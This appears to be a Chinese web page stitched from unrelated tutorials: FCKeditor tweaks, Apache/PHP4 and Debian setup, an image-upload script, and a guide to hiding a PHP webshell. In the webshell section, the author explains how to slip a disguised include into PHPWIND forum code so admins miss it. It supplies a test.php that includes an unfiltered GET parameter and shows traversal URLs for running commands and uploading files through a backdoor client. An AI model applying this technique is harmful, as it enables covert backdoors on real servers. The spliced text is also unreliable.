FCK的设置和修改(for PHP)

 更新时间:2016年11月25日 15:29  点击:1823

FCKeditor目前最新的版本是2.5.1,我花了点时间将里面一些文件进行了修改,更适合实际的应用.具体的修改过程请看说明,也可以直接下载修改后的程序,见附件.

1.删除editor/_source 目录
这是FCKeditor的源码,可以删除

2.删除editor/lang 目录中除en/zh/zh-cn的语言文件

3.删除editor/filemanage/connectors 除php的目录

4.修改fckconfig.js

修改默认语言.注:这一步应该可以忽略,FCKeditor好像会自动匹配浏览器的语言
找到


FCKConfig.DefaultLanguage = 'en' ;
修改为:


FCKConfig.DefaultLanguage = 'zh-cn' ;
扩展字体,增加常用中文字体
找到


FCKConfig.FontNames = 'Arial;Comic Sans MS;Courier New;Tahoma;Times New Roman;Verdana' ;
修改为:


FCKConfig.FontNames = '宋体;黑体;隶书;楷体_GB2312;Arial;Comic Sans MS;Courier New;Tahoma;Times New Roman;Verdana' ;
修改字号,FCKeditor中的字号是用"smaller;larger;xx-small;"等名称表示,不够直观,我们将其改成数字+px的形式
找到


FCKConfig.FontSizes = 'smaller;larger;xx-small;x-small;small;medium;large;x-large;xx-large' ;
修改为


FCKConfig.FontSizes  = '9px;10px;11px;12px;13px;14px;16px;18px;24px;36px' ;
5.修改editor/filemanage/connectors/php/config.php
FCKeditor默认是关闭文件上传的,如果要打开,必须修改这个文件
找到


$Config['Enabled'] = false ;
修改为


$Config['Enabled'] = true ;
6.修改editor/filemanage/connectors/php/io.php
FCKeditor在上传文件是不对文件名进行重命名,这会影响到用中文名命名的文件
找到

PHP代码:
// Do a cleanup of the file name to avoid possible problems
function SanitizeFileName( $sNewFileName )
{
 global $Config ;
 $sNewFileName = stripslashes( $sNewFileName ) ;
 // Replace dots in the name with underscores (only one dot can be there... security issue).
 if ( $Config['ForceSingleExtension'] )
  $sNewFileName = preg_replace( '/\.(?![^.]*$)/', '_', $sNewFileName ) ;
 // Remove  / | : ? * " < >
 $sNewFileName = preg_replace( '/\\|\/|\||\:|\?|\*|"|<|>/', '_', $sNewFileName );
 return $sNewFileName ;
}


修改为

PHP代码:
// Do a cleanup of the file name to avoid possible problems
function SanitizeFileName( $sNewFileName )
{
 global $Config ;
 $sNewFileName = stripslashes( $sNewFileName ) ;
 // Replace dots in the name with underscores (only one dot can be there... security issue).
 if ( $Config['ForceSingleExtension'] )
  $sNewFileName = preg_replace( '/\.(?![^.]*$)/', '_', $sNewFileName ) ;
 $sExtension = substr( $sNewFileName, ( strrpos($sNewFileName, '.') + 1 ) ) ;
 $sNewFileName = my_setfilename().'.'.$sExtension;
 return $sNewFileName ;
}
function my_setfilename(){
 $gettime = explode(' ',microtime());
 $string = 'abcdefghijklmnopgrstuvwxyz0123456789';
 $rand = '';
 for ($x=0;$x<6;$x++)
  $rand .= substr($string,mt_rand(0,strlen($string)-1),1);
 return date("ymdHis").substr($gettime[0],2,6).$rand;
}


7.FCKeditor在上传文件时出现的一些提示框为英文,为了方便使用,可以选择将这些提示汉化,如果不需要,可以忽略这一步
具体是修改以下文件:
editor/filemanage/connectors/php/commands.php
editor/filemanage/connectors/php/connector.php
editor/filemanage/connectors/php/upload.php
editor/dialog/fck_flash/fck_flash.js
editor/dialog/fck_image/fck_image.js
editor/dialog/fck_link/fck_link.js
内容:一、 安装APACHE1.3.9(配置conf目录下的httpd.conf文件)
1.#BindAddress * 改为 BindAddress 127.0.0.1
#Servername new.host.name 改为 Servername localhost
2.让你的APACHE来支持PHP4. 加上下面这么几句:
ScriptAlias /php4/ "C:/php4/"
AddType application/x-httpd-php4 .php
AddType application/x-httpd-php4 .php3
AddType application/x-httpd-php4 .php4
Action application/x-httpd-php4 "/php4/php.exe"
3.设置Apache虚拟目录,加入以下行:
Alias /test/ "c:/php3/test/"
Alias /jjjj/ "d:/timenet/"
4.增加默认启动文档:
DirectoryIndex index.html
DirectoryIndex index.htm
DirectoryIndex index.php
DirectoryIndex index.php3
DirectoryIndex index.php4
5.测试文件info.php:
在浏览器中输入http://localhost/info.php
二、php4安装(php-4.0.2pl2-Win32.zip)
1. 将软件包解压到c:\php4下。
2. 再将目录下的所有dll文件拷到c;\winnt\system32下,不要覆盖已有的dll文件。将目录下的php.exe和php.ini-dist两个文件拷到c:\winnt下;
3. 将winnt\php.ini-dist改名为php.ini,并找到;Windows Extensions项将
extension_dir = c:\php4
extension=php_zlib.dll
extension =php_ldap.dll
extension =php_zlib.dll
extension =php_calendar.dll
extension =php_exif.dll
extension =php_ftp.dll
extension =php_mssql70.dll (这一项不要加,没有MSSQL7.0呀)
extension =php_imap.dll
有就去掉前面的分号,没有就自己加上。这个部分轻易出现错误,是因为在php.ini文件中指定加载了无效的或者不存在的php_*.dll文件,加载这些错误信息还可能导致浏览器寻找不到服务器。
4. PHP.INI其他设置:
asp_tags = On ; 答应使用ASP风格的标记
upload_max_filesize = 2097152;上载文件的最大字节
(关于mysql的设置)
mysql.default_host = localhost;
mysql.default_user = root;
mysql.default_password= yourpasswd; 以上
(在您使用include函数时,只有被指定的目录下的文件才可以被包含)
include_path = \path1;\path2;\path3....
(只有c:\php4\test目录下面的php文件才可以执行)
doc_root= c:\php4\test
三、MySQL安装(mysql-3.23.27-beta-win.zip)
1. 先安装mysql,默认安装路径为:c:\mysql
2. 打开“运行”输入C:\mysql\bin\mysqld-nt.exe ?install
3. 打开“治理工具”->“服务”,找到“mysql”服务,启动它。重启windows2000。

 

 

昨天公司突然要一个上传文件带附件,还要一个带图片上传功能并且要生成缩略图效果,下面我就把我的代码贴出来吧.

首先来看看up.htm文件,代码如下:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>无标题文档</title>
</head>

<body>
<form action="s.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
  <input type="file" name="image" id="image" />
  <label>
  <input type="submit" name="button" id="button" value="提交" />
  </label>
</form>
<label></label>
</body>
</html>
其实上页就是一个简单的htm 文件,把信息post给我们下面要讲到的文件s.php

if($_FILES['image']['name']){
    if($_FILES['image']['size']){
    if($_FILES['image']['type'] == "image/pjpeg"){
     $im = @imagecreatefromjpeg($_FILES['image']['tmp_name']);
     $n_bmp.='.jpg';
    }elseif($_FILES['image']['type'] == "image/x-png"){
     $im = @imagecreatefrompng($_FILES['image']['tmp_name']);
     $n_bmp.='.png';
    }elseif($_FILES['image']['type'] == "image/gif"){
     $im = @imagecreatefromgif($_FILES['image']['tmp_name']);
     $n_bmp.='.gif';
    }    
    }
    ResizeImage($im,120,60,md5(date("Y-m-d H:i:s")));    
    ImageDestroy ($im);
    $tag=1;
   }

 

function ResizeImage($im,$maxwidth,$maxheight,$name){
   $width = imagesx($im);
   $height = imagesy($im);
  if(($maxwidth && $width > $maxwidth) || ($maxheight && $height > $maxheight)){
   if($maxwidth && $width > $maxwidth){
   $widthratio = $maxwidth/$width;
   $RESIZEWIDTH=true;
   }
   if($maxheight && $height > $maxheight){
   $heightratio = $maxheight/$height;
   $RESIZEHEIGHT=true;
   }
  if($RESIZEWIDTH && $RESIZEHEIGHT){
  if($widthratio < $heightratio){
   $ratio = $widthratio;
   }else{
   $ratio = $heightratio;
   }
  }elseif($RESIZEWIDTH){
  $ratio = $widthratio;
  }elseif($RESIZEHEIGHT){
  $ratio = $heightratio;
  }
  $newwidth = $width * $ratio;
  $newheight = $height * $ratio;
  if(function_exists("imagecopyresampled")){
  $newim = imagecreatetruecolor($newwidth, $newheight);
  imagecopyresampled($newim, $im, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
  }else{
  $newim = imagecreate($newwidth, $newheight);
  imagecopyresized($newim, $im, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
  }
  ImageJpeg ($newim,$name . ".jpg");
  ImageDestroy ($newim);
  }else{
  ImageJpeg ($im,$name . ".jpg");
  }
  }

 

就这么简单了,上页这种就是生成文件到目录了,还有一种就生成二进制在网页显示,当然你也可以保存到数据库了.然后读出.

最近很多朋友都在问我是否能把我那一句话木马隐藏到HTML或图片里,其实把一句话木马插入到PHP文件中就已经很隐蔽了,假如说硬是要放到HTML文件或图片里,就接着往下看的这篇测试报告吧。

要知道假如光把PHP语句放到图片里是无论如何也不能执行的,因为PHP只解析扩展名为php的文件。所以说要能使隐藏在图片里的PHP语句执行。我们就的借助PHP中的调用函数 :include 、require 等。

  我们还记得前些日子把木马隐藏到图片的文章吧。也就是在PHP文件里用include("x.gif")这样的语句来调用隐藏在图片的木马语句。ASP中语句也类似。看似非常隐蔽但直接调用图片对稍微懂点PHP的人就不难发现可疑之处。由于URL 里用GET方式很难传递参数,这就使得插入木马的性能得不到发挥。

  Include 函数在PHP中使用的比较频繁,所以引起的安全问题也实在太多,例如PHPWIND1.36的漏洞就是因为include后面的变量没做过滤引起的。由此我们就可以构造类似的语句来插入到PHP文件中。然后把木马隐藏到图片或HTML文件里,可以说隐蔽性就更高了。如在PHPWIND论坛里插入下面的语句:

CODE:

<?@include includ/.$PHPWIND_ROOT;?>

一般治理员是无法看出来的。

  有了include 函数来辅助帮忙我们就可以把PHP木马隐藏到 诸如 txt、html和图片文件等很多类型的文件里来了。因为txt、html和图片文件这三种类型的文件最无论在论坛还是文章系统里是最为常见的了,下面我们就依次来做测试。

  首先建立一PHP文件test.php 文件内容为:

CODE:
<?php
$test=$_GET['test'];
@include 'test/'.$test;
?>

  Txt文件一般都是说明文件,所以我们把一句话木马放到目录的说明文件里就OK了。随便建立一个TXT文件t.txt。我们把一句话木马粘贴到 t.txt文件里。然后访问 hxxp://localhost/test/test.php?test=../t.txt 假如你看到t.txt的内容就证实Ok了, 然后把在lanker微型PHP后门客户端 木马地址添入 hxxp://localhost/test/test.php?test=../t.txt 密码里添入cmd就可以了,执行返回的结果都可以看到。

  对于HTML的文件,一般都为模版文件。为了使插入到HTML的文件的木马能被调用执行而且不被显示出来,我们可以在HTML里加入一个隐藏属性的文本框 ,如: 然后使用方法同上。执行的返回结果一般都可以查看源文件看到。 如使用查看本程序目录功能。查看源文件内容为 我可以得到目录为 C:Uniserver2_7swwwtest。

  下面我们说说图片文件,要说最为毒的一招莫过于把木马隐藏到图片里。我们可以直接对一个图片进行编辑,把插入到图片末尾

  经测试一般都不会对图片造成影响。然后同样方法客户端木马地址添入

  我们查看PHP环境变量 返回的是结果是原图片。

  这里可能要和我们想象的结果有些差距了,其实命令已经运行了,只是返回的结果看不到而已,因为这是真正的GIF文件,所以是不会显示返回结果的,为了证实是否真的执行了命令我们执行上传文件命令。果不出所料,文件已经成功上传到服务器上。这样伪造的优点是隐蔽性好。缺点也自然不用说了是没回显。假如你想看到返回的结果,那就拿出记事本伪造一个假的图片文件吧。

安装AMP

apt-get install apache2 mysql-server php5 php5-mysql5

配置 Apache2 默认站点

vi /etc/apache2/sites-enabled/000-default

加入一行

RedirectMatch ^/$ /apache2-default/

试验这一步不需要

修改 Apache2 主配置

vi /etc/apache2/apache2.conf

要改为:

Include module configuration:

Include /etc/apache2/mods-enabled/*.load Include /etc/apache2/mods-enabled/*.conf

还有:

AddType application/x-httpd-php .php

AddType application/x-httpd-php-source .phps

重新启动 Apache2

/etc/init.d/apache2 reload

现在要配置 PHP 5

vi /etc/php5/apache2/php.ini

Php5 默认已经不支持 Mysql,为了打开支持,要修改

extension=mysql.so

设置 Mysql 根密码

默认安装的 Mysql,其 root 用户没有密码,实在危险,我们为他加一个密码。

mysqladmin -uroot password 'abc123'

其中abc123就是你的密码。

当然你也可以用下面的命令来设置密码:

mysql -u root mysql

mysql> update user set password=password('pass') where user='root';

为将要架设的站点建一个库及其用户

mysql -u root -p mysql

mysql> create database drupal;

mysql> use drupal;

mysql> grant all on drupal.* to drupal_user@localhost;

mysql> use mysql;

Database changed

mysql> update user set password=password('pass') where user = 'drupal_user';

Query OK, 1 row affected (0.00 sec)

Rows matched: 1 Changed: 1 Warnings: 0

mysql>q;

mysqladmin reload

[!--infotagslink--]

相关文章

  • python-for x in range的用法(注意要点、细节)

    这篇文章主要介绍了python-for x in range的用法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2021-05-10
  • forum.php怎么打开?

    本文介绍了forum.php的打开方法,不会的同学可以参考一下。 虚拟空间,网页管理端, 会有一个默认访问页面(找一下,是这个意思,可能会有所不同),内容一般是 index.html index...2017-07-06
  • Android设置TextView竖着显示实例

    TextView默认是横着显示了,今天我们一起来看看Android设置TextView竖着显示如何来实现吧,今天我们就一起来看看操作细节,具体的如下所示。 在开发Android程序的时候,...2016-10-02
  • Vue.js中轻松解决v-for执行出错的三个方案

    v-for标签可以用来遍历数组,将数组的每一个值绑定到相应的视图元素中去,下面这篇文章主要给大家介绍了关于在Vue.js中轻松解决v-for执行出错的三个方案,文中通过示例代码介绍的非常详细,对大家具有一定的参考学习价值,需要的朋友们下面来一起看看吧。...2017-06-15
  • c# 对CSV文件操作(写入、读取、修改)

    这篇文章主要介绍了c# 如何对CSV文件操作,帮助大家更好的理解和学习C#,感兴趣的朋友可以了解下...2020-11-03
  • Javascript for in的缺陷总结

    这篇文章主要介绍了Javascript for in的缺陷总结的相关资料,需要的朋友可以参考下...2017-02-08
  • JS双击变input框批量修改内容

    这篇文章主要介绍了JS双击变input框批量修改内容的实现代码,非常不错,具有参考借鉴价值,需要的朋友可以参考下...2017-01-09
  • Navicat for MySQL 11注册码\激活码汇总

    Navicat for MySQL注册码用来激活 Navicat for MySQL 软件,只要拥有 Navicat 注册码就能激活相应的 Navicat 产品。这篇文章主要介绍了Navicat for MySQL 11注册码\激活码汇总,需要的朋友可以参考下...2020-11-23
  • 使用phpMyAdmin批量修改Mysql数据表前缀的方法

    多个网站共用一个Mysql数据库时,为使数据库管理不混乱,一般采用不同的网站使用不同前缀名的方式进行区分。而如何批量修改已有数据库的前缀名呢?全部导出修改后再导入?还是一个表一个表的修改?今天我要介绍的是相对简单的...2015-10-21
  • shell中的for循环用法详解

    这篇文章主要介绍了shell中的for循环用法详解,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-07-11
  • C#设置自定义文件图标实现双击启动(修改注册表)

    这篇文章介绍的是利用C#设置自定义文件图标,然后实现双击启动的功能,文章给出了示例代码,介绍的很详细,有需要的可以参考借鉴。...2020-06-25
  • 利用C#修改Windows操作系统时间

    这篇文章主要介绍了利用C#修改Windows操作系统时间,帮助大家更好的利用c#操作系统,感兴趣的朋友可以了解下...2020-12-08
  • JQuery EasyUI学习教程之datagrid 添加、修改、删除操作

    这篇文章主要介绍了JQuery EasyUI datagrid 添加、修改、删除操作的相关资料,非常不错,具有参考借鉴价值,需要的朋友可以参考下...2016-07-25
  • mysql修改表结构方法实例详解

    本文实例讲述了mysql修改表结构方法。分享给大家供大家参考。具体如下:mysql修改表结构使用ALTER TABLE语句,下面就为您详细介绍mysql修改表结构的语句写法,希望对您学习mysql修改表结构方面能有所帮助。ALTER [IGNORE]...2015-10-21
  • C#实现appSettings节点读取与修改的方法

    这篇文章主要介绍了C#实现appSettings节点读取与修改的方法,是非常实用的技巧,需要的朋友可以参考下...2020-06-25
  • Windows Server 2008 R2远程设置选项灰色解决方法

    最近公司环境有几天Windows Server 2008R2的服务器因为没有激活导致过期后都不能远程,连接显示器后发现远程设置的地方为灰色了...2016-01-27
  • vivo x9怎么设置默认输入法?vivo x9设置默认输入法教程

    本篇文章介绍了vivo x9如何设置默认输入法的方法,手机小白们快来了解一下吧。 问:vivo x9怎么设置默认输入法?答:其实设置默认输入法很容易,首先点击应用程序,然后点设...2017-01-22
  • Mybatis批量修改时出现报错问题解决方案

    这篇文章主要介绍了Mybatis批量修改时出现报错问题解决方案,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下...2020-11-10
  • C#实现修改系统时间的方法

    这篇文章主要介绍了C#实现修改系统时间的方法,是一个非常实用的功能,需要的朋友可以参考下...2020-06-25
  • vue v-for 点击当前行,获取当前行数据及event当前事件对象的操作

    这篇文章主要介绍了vue v-for 点击当前行,获取当前行数据及event当前事件对象的操作,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-09-10